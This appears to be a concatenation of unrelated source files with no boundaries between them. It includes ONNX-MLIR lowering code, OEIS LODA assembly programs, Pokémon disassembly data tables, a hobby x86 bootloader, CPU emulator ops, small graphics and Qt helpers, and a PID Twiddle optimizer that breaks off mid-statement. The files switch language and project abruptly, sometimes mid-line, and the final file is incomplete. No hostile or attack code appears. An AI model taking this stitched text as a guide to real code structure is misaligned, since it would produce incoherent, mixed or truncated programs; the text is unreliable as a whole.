//====- convert_onnx_to_krnl.cpp - ONNX dialects to Krnl lowering ---------===// // // Copyright 2019 The IBM Research Authors. // // ============================================================================= // // This file implements the lowering of frontend operations to a combination of // Krnl IR and standard operations. // //===----------------------------------------------------------------------===// #include "src/conversion/onnx_to_krnl/onnx_to_krnl_common.hpp" using namespace mlir; //===----------------------------------------------------------------------===// // EntryPoint Op lowering to Krnl Entry Point. //===----------------------------------------------------------------------===// class ONNXEntryPointLowering : public OpRewritePattern<ONNXEntryPointOp> { public: using OpRewritePattern<ONNXEntryPointOp>::OpRewritePattern; PatternMatchResult matchAndRewrite(ONNXEntryPointOp op, PatternRewriter &rewriter) const override { rewriter.replaceOpWithNewOp<KrnlEntryPointOp>( op, op.getAttrOfType<SymbolRefAttr>( ONNXEntryPointOp::getEntryPointFuncAttrName()), op.getAttrOfType<IntegerAttr>(ONNXEntryPointOp::getNumInputsAttrName()), op.getAttrOfType<IntegerAttr>( ONNXEntryPointOp::getNumOutputsAttrName())); return matchSuccess(); } }; //===----------------------------------------------------------------------===// // Frontend to Krnl Dialect lowering pass //===----------------------------------------------------------------------===// /// This is a partial lowering to Krnl loops of the ONNX operations. namespace { struct FrontendToKrnlLoweringPass : public ModulePass<FrontendToKrnlLoweringPass> { void runOnModule() final; }; } // end anonymous namespace. void FrontendToKrnlLoweringPass::runOnModule() { auto module = getModule(); // The first thing to define is the conversion target. This will define the // final target for this lowering. ConversionTarget target(getContext()); // We define the specific operations, or dialects, that are legal targets for // this lowering. target .addLegalDialect<KrnlOpsDialect, AffineOpsDialect, StandardOpsDialect>(); // TODO: enable this once more ops are supported. // We also define the ONNX dialect as Illegal so that the conversion will fail // if any of these operations are *not* converted. // target.addIllegalDialect<mlir::ONNXOpsDialect>(); // TODO: add any other ops which are considered legal. // Some operations can be marked as being still legal. // Example: target.addLegalOp<mlir::OpName>(); // Now that the conversion target has been defined, we just need to provide // the set of patterns that will lower the frontend operations. OwningRewritePatternList patterns; // Convert TensorType to MemRef TensorTypeConverter tensor_to_memref_converter; target.addDynamicallyLegalOp<FuncOp>([&](FuncOp op) { // FuncOp is legal only if types have been converted to Std types. return tensor_to_memref_converter.isSignatureLegal(op.getType()); }); // Type conversion for function signatures. // Call MLIR FuncOp signature conversion when result type is // a ranked tensor. populateFuncOpTypeConversionPattern(patterns, &getContext(), tensor_to_memref_converter); // Frontend operation lowering. // Math populateLoweringONNXElementwiseOpPattern(patterns, &getContext()); populateLoweringONNXGemmOpPattern(patterns, &getContext()); populateLoweringONNXReductionOpPattern(patterns, &getContext()); populateLoweringONNXSoftmaxOpPattern(patterns, &getContext()); populateLoweringONNXMatMulOpPattern(patterns, &getContext()); // Tensor populateLoweringONNXReshapeOpPattern(patterns, &getContext()); populateLoweringONNXUnsqueezeOpPattern(patterns, &getContext()); populateLoweringONNXTransposeOpPattern(patterns, &getContext()); populateLoweringONNXIdentityOpPattern(patterns, &getContext()); // Neural network populateLoweringONNXConvOpPattern(patterns, &getContext()); populateLoweringONNXNormalizationOpPattern(patterns, &getContext()); // Entry point patterns.insert<ONNXEntryPointLowering>(&getContext()); // With the target and rewrite patterns defined, we can now attempt the // conversion. The conversion will signal failure if any of our `illegal` // operations were not converted successfully. if (failed(applyPartialConversion(module, target, patterns))) signalPassFailure(); } std::unique_ptr<Pass> mlir::createLowerToKrnlPass() { return std::make_unique<FrontendToKrnlLoweringPass>(); } static PassRegistration<FrontendToKrnlLoweringPass> pass("lower-frontend", "Lower frontend ops to Krnl dialect.");
; A201553: Number of arrays of 6 integers in -n..n with sum zero. ; 1,141,1751,9331,32661,88913,204763,418503,782153,1363573,2248575,3543035,5375005,7896825,11287235,15753487,21533457,28897757,38151847,49638147,63738149,80874529,101513259,126165719,155390809,189797061,230044751,276848011,330976941,393259721,464584723,545902623,638228513,742644013,860299383,992415635,1140286645,1305281265,1488845435,1692504295,1917864297,2166615317,2440532767,2741479707,3071408957,3432365209,3826487139,4256009519,4723265329,5230687869,5780812871,6376280611,7019838021,7714340801,8462755531,9268161783,10133754233,11062844773,12058864623,13125366443,14266026445,15484646505,16785156275,18171615295,19648215105,21219281357,22889275927,24662799027,26544591317,28539536017,30652661019,32889140999,35254299529,37753611189,40392703679,43177359931,46113520221,49207284281,52464913411,55892832591,59497632593,63286072093,67265079783,71441756483,75823377253,80417393505,85231435115,90273312535,95551018905,101072732165,106846817167,112881827787,119186509037,125769799177,132640831827,139808938079,147283648609,155074695789,163192015799,171645750739,180446250741,189604076081,199129999291,209035007271,219330303401,230027309653,241137668703,252673246043,264646132093,277068644313,289953329315,303312964975,317160562545,331509368765,346372867975,361764784227,377699083397,394189975297,411251915787,428899608887,447148008889,466012322469,485508010799,505650791659,526456641549,547941797801,570122760691,593016295551,616639434881,641009480461,666144005463,692060856563,718778156053,746314303953,774687980123,803918146375,834024048585,865025218805,896941477375,929792935035,963599995037,998383355257,1034164010307,1070963253647,1108802679697,1147704185949,1187689975079,1228782557059,1271004751269,1314379688609,1358930813611,1404681886551,1451656985561,1499880508741,1549377176271,1600172032523,1652290448173,1705758122313,1760601084563,1816845697183,1874518657185,1933646998445,1994258093815,2056379657235,2120039745845,2185266762097,2252089455867,2320536926567,2390638625257,2462424356757,2535924281759,2611168918939,2688189147069,2767016207129,2847681704419,2930217610671,3014656266161,3101030381821,3189373041351,3279717703331,3372098203333,3466548756033,3563103957323,3661798786423,3762668607993,3865749174245,3971076627055,4078687500075,4188618720845,4300907612905,4415591897907,4532709697727,4652299536577,4774400343117,4899051452567,5026292608819,5156163966549,5288706093329,5423959971739,5561967001479,5702769001481,5846408212021,5992927296831,6142369345211,6294777874141,6450196830393,6608670592643,6770243973583,6934962222033,7102871025053,7274016510055,7448445246915,7626204250085,7807340980705,7991903348715,8179939714967,8371498893337,8566630152837,8765383219727,8967808279627,9173955979629,9383877430409,9597624208339,9815248357599,10036802392289,10262339298541,10491912536631,10725576043091,10963384232821,11205392001201,11451654726203,11702228270503,11957168983593,12216533703893,12480379760863,12748764977115,13021747670525,13299386656345,13581741249315,13868871265775,14160837025777,14457699355197,14759519587847,15066359567587,15378281650437,15695348706689,16017624123019,16345171804599,16678056177209,17016342189349 mul $0,2 cal $0,71816 ; Number of ordered solutions to x+y+z = u+v+w, 0 <= x, y, z, u, v, w < n. mov $1,$0
; A076508: Expansion of 2*x*(1+4*x+8*x^2)/(1-24*x^3). ; 2,8,16,48,192,384,1152,4608,9216,27648,110592,221184,663552,2654208,5308416,15925248,63700992,127401984,382205952,1528823808,3057647616,9172942848,36691771392,73383542784,220150628352,880602513408 add $0,6 mov $1,3 lpb $0 sub $0,1 add $2,1 mul $1,$2 dif $2,4 lpe div $1,216 mov $0,$1
spawn: MACRO ; map, x, y map_id \1 db \2, \3 ENDM SpawnPoints: ; entries correspond to SPAWN_* constants spawn OAKS_LAB, 4, 3 spawn VIRIDIAN_POKECENTER_1F, 5, 3 spawn PALLET_TOWN, 5, 6 spawn VIRIDIAN_CITY, 23, 26 spawn PEWTER_CITY, 13, 26 ; spawn CERULEAN_CITY, 11, 11 ; spawn BILLS_HOUSE, 11, 11 spawn NEW_BARK_TOWN, 13, 6 spawn BATTLE_TOWER_OUTSIDE, 8, 10 spawn NONE, 6, 2 spawn N_A, -1, -1
growth_rate: MACRO ; [1]/[2]*n**3 + [3]*n**2 + [4]*n - [5] dn \1, \2 if \3 & $80 ; signed db -\3 | $80 else db \3 endc db \4, \5 ENDM GrowthRates: ; entries correspond to GROWTH_* (see constants/pokemon_data_constants.asm) growth_rate 1, 1, 0, 0, 0 ; Medium Fast growth_rate 3, 4, 10, 0, 30 ; Slightly Fast growth_rate 3, 4, 20, 0, 70 ; Slightly Slow growth_rate 6, 5, -15, 100, 140 ; Medium Slow growth_rate 4, 5, 0, 0, 0 ; Fast growth_rate 5, 4, 0, 0, 0 ; Slow ErraticExperience: dt 0 ; L:1 dt 15 ; L:2 dt 52 ; L:3 dt 122 ; L:4 dt 237 ; L:5 dt 406 ; L:6 dt 637 ; L:7 dt 942 ; L:8 dt 1326 ; L:9 dt 1800 ; L:10 dt 2369 ; L:11 dt 3041 ; L:12 dt 3822 ; L:13 dt 4719 ; L:14 dt 5737 ; L:15 dt 6881 ; L:16 dt 8155 ; L:17 dt 9564 ; L:18 dt 11111 ; L:19 dt 12800 ; L:20 dt 14632 ; L:21 dt 16610 ; L:22 dt 18737 ; L:23 dt 21012 ; L:24 dt 23437 ; L:25 dt 26012 ; L:26 dt 28737 ; L:27 dt 31610 ; L:28 dt 34632 ; L:29 dt 37800 ; L:30 dt 41111 ; L:31 dt 44564 ; L:32 dt 48155 ; L:33 dt 51881 ; L:34 dt 55737 ; L:35 dt 59719 ; L:36 dt 63822 ; L:37 dt 68041 ; L:38 dt 72369 ; L:39 dt 76800 ; L:40 dt 81326 ; L:41 dt 85942 ; L:42 dt 90637 ; L:43 dt 95406 ; L:44 dt 100237 ; L:45 dt 105122 ; L:46 dt 110052 ; L:47 dt 115015 ; L:48 dt 120001 ; L:49 dt 125000 ; L:50 dt 131324 ; L:51 dt 137795 ; L:52 dt 144410 ; L:53 dt 151165 ; L:54 dt 158056 ; L:55 dt 165079 ; L:56 dt 172229 ; L:57 dt 179503 ; L:58 dt 186894 ; L:59 dt 194400 ; L:60 dt 202013 ; L:61 dt 209728 ; L:62 dt 217540 ; L:63 dt 225443 ; L:64 dt 233431 ; L:65 dt 241496 ; L:66 dt 249633 ; L:67 dt 257834 ; L:68 dt 267406 ; L:69 dt 276458 ; L:70 dt 286328 ; L:71 dt 296358 ; L:72 dt 305767 ; L:73 dt 316074 ; L:74 dt 326531 ; L:75 dt 336255 ; L:76 dt 346965 ; L:77 dt 357812 ; L:78 dt 367807 ; L:79 dt 378880 ; L:80 dt 390077 ; L:81 dt 400293 ; L:82 dt 411686 ; L:83 dt 423190 ; L:84 dt 433572 ; L:85 dt 445239 ; L:86 dt 457001 ; L:87 dt 467489 ; L:88 dt 479378 ; L:89 dt 491346 ; L:90 dt 501878 ; L:91 dt 513934 ; L:92 dt 526049 ; L:93 dt 536557 ; L:94 dt 548720 ; L:95 dt 560922 ; L:96 dt 571333 ; L:97 dt 583539 ; L:98 dt 591882 ; L:99 dt 600000 ; L:100 FluctuatingExperience: dt 0 ; L:1 dt 4 ; L:2 dt 13 ; L:3 dt 32 ; L:4 dt 65 ; L:5 dt 112 ; L:6 dt 178 ; L:7 dt 276 ; L:8 dt 393 ; L:9 dt 540 ; L:10 dt 745 ; L:11 dt 967 ; L:12 dt 1230 ; L:13 dt 1591 ; L:14 dt 1957 ; L:15 dt 2457 ; L:16 dt 3046 ; L:17 dt 3732 ; L:18 dt 4526 ; L:19 dt 5440 ; L:20 dt 6482 ; L:21 dt 7666 ; L:22 dt 9003 ; L:23 dt 10506 ; L:24 dt 12187 ; L:25 dt 14060 ; L:26 dt 16140 ; L:27 dt 18439 ; L:28 dt 20974 ; L:29 dt 23760 ; L:30 dt 26811 ; L:31 dt 30146 ; L:32 dt 33780 ; L:33 dt 37731 ; L:34 dt 42017 ; L:35 dt 46656 ; L:36 dt 50653 ; L:37 dt 55969 ; L:38 dt 60505 ; L:39 dt 66560 ; L:40 dt 71677 ; L:41 dt 78533 ; L:42 dt 84277 ; L:43 dt 91998 ; L:44 dt 98415 ; L:45 dt 107069 ; L:46 dt 114205 ; L:47 dt 123863 ; L:48 dt 131766 ; L:49 dt 142500 ; L:50 dt 151222 ; L:51 dt 163105 ; L:52 dt 172697 ; L:53 dt 185807 ; L:54 dt 196322 ; L:55 dt 210739 ; L:56 dt 222231 ; L:57 dt 238036 ; L:58 dt 250562 ; L:59 dt 267840 ; L:60 dt 281456 ; L:61 dt 300293 ; L:62 dt 315059 ; L:63 dt 335544 ; L:64 dt 351520 ; L:65 dt 373744 ; L:66 dt 390991 ; L:67 dt 415050 ; L:68 dt 433631 ; L:69 dt 459620 ; L:70 dt 479600 ; L:71 dt 507617 ; L:72 dt 529063 ; L:73 dt 559209 ; L:74 dt 582187 ; L:75 dt 614566 ; L:76 dt 639146 ; L:77 dt 673863 ; L:78 dt 700115 ; L:79 dt 737280 ; L:80 dt 765275 ; L:81 dt 804997 ; L:82 dt 834809 ; L:83 dt 877201 ; L:84 dt 908905 ; L:85 dt 954084 ; L:86 dt 987754 ; L:87 dt 1035837 ; L:88 dt 1071552 ; L:89 dt 1122660 ; L:90 dt 1160499 ; L:91 dt 1214753 ; L:92 dt 1254796 ; L:93 dt 1312322 ; L:94 dt 1354652 ; L:95 dt 1415577 ; L:96 dt 1460276 ; L:97 dt 1524731 ; L:98 dt 1571884 ; L:99 dt 1640000 ; L:100
; A052549: a(n) = 5*2^(n-1) - 1, n>0, with a(0)=1. ; 1,4,9,19,39,79,159,319,639,1279,2559,5119,10239,20479,40959,81919,163839,327679,655359,1310719,2621439,5242879,10485759,20971519,41943039,83886079,167772159,335544319,671088639,1342177279,2684354559 mov $1,2 pow $1,$0 mul $1,5 sub $1,2 div $1,2
%include "pm.inc" org 8000h VRAM_ADDRESS equ 0x000a0000 jmp LABEL_BEGIN [SECTION .gdt] ; 段基址 段界限 属性 LABEL_GDT: Descriptor 0, 0, 0 LABEL_DESC_CODE32: Descriptor 0, 0fffffh, DA_C | DA_32 | DA_LIMIT_4K LABEL_DESC_VIDEO: Descriptor 0B8000h, 0fffffh, DA_DRW LABEL_DESC_VRAM: Descriptor 0, 0fffffh, DA_DRW | DA_LIMIT_4K LABEL_DESC_STACK: Descriptor 0, 0fffffh, DA_DRW | DA_32 LABEL_DESC_FONT: Descriptor 0, 0fffffh, DA_DRW | DA_LIMIT_4K LABEL_DESC_6: Descriptor 0, 0fffffh, 0409Ah LABEL_DESC_7: Descriptor 0, 0, 0 LABEL_DESC_8: Descriptor 0, 0, 0 LABEL_DESC_9: Descriptor 0, 0, 0 LABEL_DESC_10: Descriptor 0, 0, 0 %rep 5 Descriptor 0, 0, 0 %endrep GdtLen equ $ - LABEL_GDT GdtPtr dw GdtLen - 1 dd 0 SelectorCode32 equ LABEL_DESC_CODE32 - LABEL_GDT SelectorVideo equ LABEL_DESC_VIDEO - LABEL_GDT SelectorStack equ LABEL_DESC_STACK - LABEL_GDT SelectorVram equ LABEL_DESC_VRAM - LABEL_GDT SelectorFont equ LABEL_DESC_FONT - LABEL_GDT LABEL_IDT: %rep 32 Gate SelectorCode32, SpuriousHandler,0, DA_386IGate %endrep .020h: Gate SelectorCode32, timerHandler,0, DA_386IGate .021h: Gate SelectorCode32, KeyBoardHandler,0, DA_386IGate %rep 10 Gate SelectorCode32, SpuriousHandler,0, DA_386IGate %endrep .2CH: Gate SelectorCode32, mouseHandler,0, DA_386IGate IdtLen equ $ - LABEL_IDT IdtPtr dw IdtLen - 1 dd 0 [SECTION .s16] [BITS 16] LABEL_BEGIN: mov ax, cs mov ds, ax mov es, ax mov ss, ax mov sp, 0100h keystatus: ;mov ah, 0x02 ;int 0x16 ;mov [LEDS], al ;calculate memory ComputeMemory: mov ebx, 0 mov di, MemChkBuf .loop: mov eax, 0E820h mov ecx, 20 mov edx, 0534D4150h int 15h jc LABEL_MEM_CHK_FAIL add di, 20 inc dword [dwMCRNumber] cmp ebx, 0 jne .loop jmp LABEL_MEM_CHK_OK LABEL_MEM_CHK_FAIL: mov dword [dwMCRNumber], 0 LABEL_MEM_CHK_OK: mov bx, 0x4101 mov ax, 0x4f02 int 0x10 xor eax, eax mov ax, cs shl eax, 4 add eax, LABEL_SEG_CODE32 mov word [LABEL_DESC_CODE32 + 2], ax shr eax, 16 mov byte [LABEL_DESC_CODE32 + 4], al mov byte [LABEL_DESC_CODE32 + 7], ah xor eax, eax mov ax, cs shl eax, 4 add eax, LABEL_SYSTEM_FONT mov word [LABEL_DESC_FONT + 2], ax shr eax, 16 mov byte [LABEL_DESC_FONT + 4], al mov byte [LABEL_DESC_FONT + 7], ah xor eax, eax mov ax, ds shl eax, 4 add eax, LABEL_GDT mov dword [GdtPtr + 2], eax lgdt [GdtPtr] cli ;关中断 call init8259A ;prepare for loading IDT xor eax, eax mov ax, ds shl eax, 4 add eax, LABEL_IDT mov dword [IdtPtr + 2], eax lidt [IdtPtr] in al, 92h or al, 00000010b out 92h, al mov eax, cr0 or eax , 1 mov cr0, eax cli jmp dword 1*8: 0 init8259A: mov al, 011h out 020h, al call io_delay out 0A0h, al call io_delay mov al, 020h out 021h, al call io_delay mov al, 028h out 0A1h, al call io_delay mov al, 004h out 021h, al call io_delay mov al, 002h out 0A1h, al call io_delay mov al, 001h out 021h, al call io_delay out 0A1h, al call io_delay mov al, 11111000b ;允许键盘和时钟中断 out 021h, al call io_delay mov al, 11101111b ;允许鼠标中断 out 0A1h, al call io_delay ret io_delay: nop nop nop nop ret [SECTION .s32] [BITS 32] LABEL_SEG_CODE32: ;initialize stack for c code mov ax, SelectorStack mov ss, ax mov esp, 2048 mov ax, SelectorVram mov ds, ax mov ax, SelectorVideo mov gs, ax cli ;change %include "ckernel.asm" jmp $ _SpuriousHandler: SpuriousHandler equ _SpuriousHandler - $$ iretd _KeyBoardHandler: KeyBoardHandler equ _KeyBoardHandler - $$ pushad push ds push es push fs push gs call intHandlerFromC pop gs pop fs pop es pop ds popad iretd _mouseHandler: mouseHandler equ _mouseHandler - $$ pushad push ds push es push fs push gs call intHandlerForMouse pop gs pop fs pop es pop ds popad iretd _timerHandler: timerHandler equ _timerHandler - $$ pushad push ds push es push fs push gs call intHandlerForTimer pop gs pop fs pop es pop ds popad iretd get_font_data: mov ax, SelectorFont mov es, ax xor edi, edi mov edi, [esp + 4] ;char shl edi, 4 add edi, [esp + 8] xor eax, eax mov al, byte [es:edi] ret io_hlt: ;void io_hlt(void); HLT RET io_cli: CLI RET io_sti: STI RET io_stihlt: STI HLT RET io_in8: mov edx, [esp + 4] mov eax, 0 in al, dx ret io_in16: mov edx, [esp + 4] mov eax, 0 in ax, dx ret io_in32: mov edx, [esp + 4] in eax, dx ret io_out8: mov edx, [esp + 4] mov al, [esp + 8] out dx, al ret io_out16: mov edx, [esp + 4] mov eax, [esp + 8] out dx, ax ret io_out32: mov edx, [esp + 4] mov eax, [esp + 8] out dx, eax ret io_load_eflags: pushfd pop eax ret io_store_eflags: mov eax, [esp + 4] push eax popfd ret get_memory_block_count: mov eax, [dwMCRNumber] ret get_leds: mov eax, [LEDS] ret get_adr_buffer: mov eax, MemChkBuf ret get_addr_gdt: mov eax, LABEL_GDT ret get_code32_addr: mov eax, LABEL_SEG_CODE32 ret load_tr: LTR [esp + 4] ret farjmp: jmp FAR [esp + 4] ret SegCode32Len equ $ - LABEL_SEG_CODE32 [SECTION .data] ALIGN 32 [BITS 32] MemChkBuf: times 256 db 0 dwMCRNumber: dd 0 LEDS : db 0 LABEL_SYSTEM_FONT: %include "fontData.inc" SystemFontLength equ $ - LABEL_SYSTEM_FONT [SECTION .gs] ALIGN 32 [BITS 32] LABEL_STACK: times 512 db 0 TopOfStack1 equ $ - LABEL_STACK times 512 db 0 TopOfStack2 equ $ - LABEL_STACK LenOfStackSection equ $ - LABEL_STACK
; A001453: Catalan numbers - 1. ; 1,4,13,41,131,428,1429,4861,16795,58785,208011,742899,2674439,9694844,35357669,129644789,477638699,1767263189,6564120419,24466267019,91482563639,343059613649,1289904147323,4861946401451,18367353072151,69533550916003,263747951750359,1002242216651367,3814986502092303 add $0,2 mov $1,$0 add $1,$0 mov $2,$0 sub $0,1 bin $1,$0 div $1,$2 sub $1,1
; A307989: a(n) = n - pi(2*n) + pi(n-1), where pi is the prime counting function. ; 0,0,1,2,3,4,4,6,6,6,7,8,9,11,11,11,12,14,14,16,16,16,17,18,19,20,20,21,22,23,23,25,26,26,27,27,27,29,30,30,31,32,33,35,35,36,37,39,39,40,40,40,41,42,42,43,43,44,45,47,48,50,51,51,52,52,53,55 mov $1,$0 cal $0,35250 ; Number of primes between n and 2n (inclusive). sub $0,1 sub $1,$0
#include "inst.h" /**************************************************************************** * CLASS 4B ****************************************************************************/ #undef INST #define INST INST_CLASS_4B C33_OP(srl_rd_imm4) { Rd.w = c33_srl(Rd.w, inst.imm4_rs); PC.w += 2; CLK += 1; } C33_OP(sll_rd_imm4) { Rd.w = c33_sll(Rd.w, inst.imm4_rs); PC.w += 2; CLK += 1; } C33_OP(sra_rd_imm4) { Rd.i = c33_sra(Rd.i, inst.imm4_rs); PC.w += 2; CLK += 1; } C33_OP(sla_rd_imm4) { Rd.i = c33_sla(Rd.i, inst.imm4_rs); PC.w += 2; CLK += 1; } C33_OP(rr_rd_imm4) { Rd.w = c33_rr(Rd.w, inst.imm4_rs); PC.w += 2; CLK += 1; } C33_OP(rl_rd_imm4) { Rd.w = c33_rl(Rd.w, inst.imm4_rs); PC.w += 2; CLK += 1; } C33_OP(srl_rd_rs) { Rd.w = c33_srl(Rd.w, R(inst.imm4_rs).w); PC.w += 2; CLK += 1; } C33_OP(sll_rd_rs) { Rd.w = c33_sll(Rd.w, R(inst.imm4_rs).w); PC.w += 2; CLK += 1; } C33_OP(sra_rd_rs) { Rd.i = c33_sra(Rd.i, R(inst.imm4_rs).i); PC.w += 2; CLK += 1; } C33_OP(sla_rd_rs) { Rd.i = c33_sla(Rd.i, R(inst.imm4_rs).i); PC.w += 2; CLK += 1; } C33_OP(rr_rd_rs) { Rd.w = c33_rr(Rd.w, R(inst.imm4_rs).w); PC.w += 2; CLK += 1; } C33_OP(rl_rd_rs) { Rd.w = c33_rl(Rd.w, R(inst.imm4_rs).w); PC.w += 2; CLK += 1; }
; ; Turtle graphics library ; Stefano - 11/2017 ; ; $Id: pen_down.asm $ ; SECTION code_graphics PUBLIC pen_down PUBLIC _pen_down .pen_down ._pen_down ld hl,__pen ld a,128 or (hl) ld (hl),a ret SECTION bss_graphics PUBLIC __pen __pen: defb 0 ; leftmost bit: pen up/down
#include "../1_LSQi/lsq_Layers.h" #include "File.h" #include "Disk.h" #include "Timer.h" #include <dirent.h> /* --------------------------------------------------------------- */ /* Constants ----------------------------------------------------- */ /* --------------------------------------------------------------- */ /* --------------------------------------------------------------- */ /* Statics ------------------------------------------------------- */ /* --------------------------------------------------------------- */ static const char *_d; static Layer *_L; static void FreeNamelist( struct dirent** &namelist, int n ) { if( namelist ) { while( n-- > 0 ) free( namelist[n] ); free( namelist ); namelist = NULL; } } static int ThmPair( const struct dirent* E ) { if( E->d_name[0] == 'T' && E->d_name[1] == 'h' ) { int za, zb; if( 2 == sscanf( E->d_name, "ThmPair_%d^%d", &za, &zb ) && za == _L->z ) { _L->zdown.insert( zb ); } } return 0; } static void ScanThmPairs( const char *subdir ) { char dir[2048]; sprintf( dir, "%s/%s", _d, subdir ); struct dirent **namelist = NULL; int n = scandir( dir, &namelist, ThmPair, alphasort ); FreeNamelist( namelist, n ); } static int SorD( const struct dirent* E ) { if( E->d_name[0] == 'S' ) { int x, y; if( 2 == sscanf( E->d_name + 1, "%d_%d", &x, &y ) ) { if( x > _L->sx ) _L->sx = x; if( y > _L->sy ) _L->sy = y; } } if( E->d_name[0] == 'D' ) { int x, y; if( 2 == sscanf( E->d_name + 1, "%d_%d", &x, &y ) ) { if( x > _L->dx ) _L->dx = x; if( y > _L->dy ) _L->dy = y; ScanThmPairs( E->d_name ); } } return 0; } static bool ScanThisZ( Layer &L, const char *top, int z ) { char dir[2048]; sprintf( dir, "%s/%d", top, z ); _d = dir; _L = &L; L.z = z; struct dirent **namelist = NULL; int n = scandir( dir, &namelist, SorD, alphasort ); FreeNamelist( namelist, n ); return (n >= 0); // ok (no error) } static void NewCat( vector<Layer> &vL, const char *tempdir, const char *cachedir, int zolo, int zohi ) { DskCreateDir( cachedir, stdout ); char buf[2048]; sprintf( buf, "%s/catalog.txt", cachedir ); FILE *f = FileOpenOrDie( buf, "w" ); // Query range header fprintf( f, "zo %d %d\n", zolo, zohi ); for( int z = zolo; z <= zohi; ++z ) { Layer L; ScanThisZ( L, tempdir, z ); if( L.sx > -1 ) { fprintf( f, "%d S %d %d D %d %d Z %ld :", z, L.sx, L.sy, L.dx, L.dy, L.zdown.size() ); for( set<int>::iterator it = L.zdown.begin(); it != L.zdown.end(); ++it ) { fprintf( f, " %d", *it ); } fprintf( f, "\n" ); vL.push_back( L ); } } fclose( f ); } static bool LoadCat( vector<Layer> &vL, const char *cachedir, int zolo, int zohi ) { char buf[2048]; sprintf( buf, "%s/catalog.txt", cachedir ); if( !DskExists( buf ) ) return false; FILE *f = FileOpenOrDie( buf, "r" ); CLineScan LS; // Is file appropriate range? if( LS.Get( f ) > 0 ) { int lo, hi; if( 2 != sscanf( LS.line, "zo %d %d", &lo, &hi ) ) goto fail; if( zolo < lo || zohi > hi ) goto exit; } else goto fail; // Read entries while( LS.Get( f ) > 0 ) { Layer L; int K, k, nz; if( 1 != sscanf( LS.line, "%d%n", &L.z, &K ) ) goto fail; if( L.z > zohi ) break; if( L.z < zolo ) continue; if( 5 != sscanf( LS.line+K, " S %d %d D %d %d Z %d :%n", &L.sx, &L.sy, &L.dx, &L.dy, &nz, &k ) ) { goto fail; } while( nz-- > 0 ) { int z; K += k; if( 1 != sscanf( LS.line+K, "%d%n", &z, &k ) ) goto fail; L.zdown.insert( z ); } vL.push_back( L ); } exit: if( f ) fclose( f ); return !vL.empty(); fail: printf( "Catalog: Remaking due to format error.\n" ); vL.clear(); if( f ) fclose( f ); return false; } bool LayerCat( vector<Layer> &vL, const char *tempdir, const char *cachedir, int zolo, int zohi, bool catclr ) { printf( "\n---- Cataloging ----\n" ); clock_t t0 = StartTiming(); if( catclr || !LoadCat( vL, cachedir, zolo, zohi ) ) NewCat( vL, tempdir, cachedir, zolo, zohi ); if( vL.empty() ) { printf( "Catalog: No catalog data in range.\n" ); return false; } StopTiming( stdout, "Catalog", t0 ); return true; } int LayerCat_MaxSpan( const vector<Layer>& vL ) { int maxspan = 0, nL = vL.size(); for( int i = 0; i < nL; ++i ) { int span = vL[i].z - vL[i].Lowest(); if( span > maxspan ) maxspan = span; } return maxspan; }
; A097325: Period 6: repeat [0, 1, 1, 1, 1, 1]. ; 0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1 mod $0,6 pow $2,$0 pow $1,$2
; double __FASTCALL__ lround(double x) SECTION code_clib SECTION code_fp_math48 PUBLIC cm48_sccz80_lround EXTERN am48_lround defc cm48_sccz80_lround = am48_lround
;================================================================================ ; Four Digit Rupees ;-------------------------------------------------------------------------------- Draw4DigitRupees: LDA $1B : AND.w #$00FF : BEQ .outdoors ; skip if outdoors .indoors LDA $A0 : BNE .normal ; skip except for ganon's room ;LDA #$246E : STA $7EC712 ;LDA #$246F : STA $7EC714 LDA $7EF423 : AND #$00FF BRA .print .outdoors .normal LDA $7EF362 .print JSL.l HexToDec LDA $7F5004 : AND.w #$00FF : ORA.w #$2400 : STA $7EC750 LDA $7F5005 : AND.w #$00FF : ORA.w #$2400 : STA $7EC752 LDA $7F5006 : AND.w #$00FF : ORA.w #$2400 : STA $7EC754 LDA $7F5007 : AND.w #$00FF : ORA.w #$2400 : STA $7EC756 RTL ;================================================================================
#include <QString> QString getRandomString() { const QString possibleCharacters("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgjijklmnopqstruvwzyz0123456789");; const int randomStringLength = 12; QString randomString; for(int i = 0; i < randomStringLength; ++i){ int index = qrand() % possibleCharacters.length(); QChar nextChar = possibleCharacters.at(index); randomString.append(nextChar); } return randomString; }
#include "twiddle.h" #include <limits> TwiddleOptimizer::TwiddleOptimizer( const double tau_proportional, const double tau_integral, const double tau_differential) : m_tau_proportional(tau_proportional), m_tau_integral(tau_integral), m_tau_differential(tau_differential), m_tau_proportional_delta(tau_proportional / 2), m_tau_integral_delta(tau_integral / 2), m_tau_differential_delta(tau_differential / 2), m_CurrentStep(TauStep::PROPORTIONAL_STEP), m_CurrentStepState(StepState::STEP_INCREASE), m_BestError(std::numeric_limits<double>::max()) { } void TwiddleOptimizer::update_cycle(double new_error) { std::cout << "New error: " << new_error << " , best error: " << m_BestError << std::endl; switch (m_CurrentStepState) { case StepState::STEP_INCREASE: { if (new_error < m_BestError) { m_BestError = new_error; updateCurrentStepDelta(1.1); nextStepParameter(); updateCurrentStep(1); } else { updateCurrentStep(-2); m_CurrentStepState = StepState::STEP_DECREASE; } break; } case StepState::STEP_DECREASE: { if (new_error < m_BestError) { m_BestError = new_error; updateCurrentStepDelta(1.1); } else { updateCurrentStep(1); updateCurrentStepDelta(0.9); } nextStepParameter(); updateCurrentStep(1); m_CurrentStepState = StepState::STEP_INCREASE; break; } } } void TwiddleOptimizer::updateCurrentStep(const double delta_factor) { switch (m_CurrentStep) { case TauStep::PROPORTIONAL_STEP: { m_tau_proportional += delta_factor * m_tau_proportional_delta; break; } case TauStep::DIFFERENTIAL_STEP: { m_tau_differential += delta_factor * m_tau_differential_delta; break; } case TauStep::INTEGRAL_STEP: { m_tau_integral += 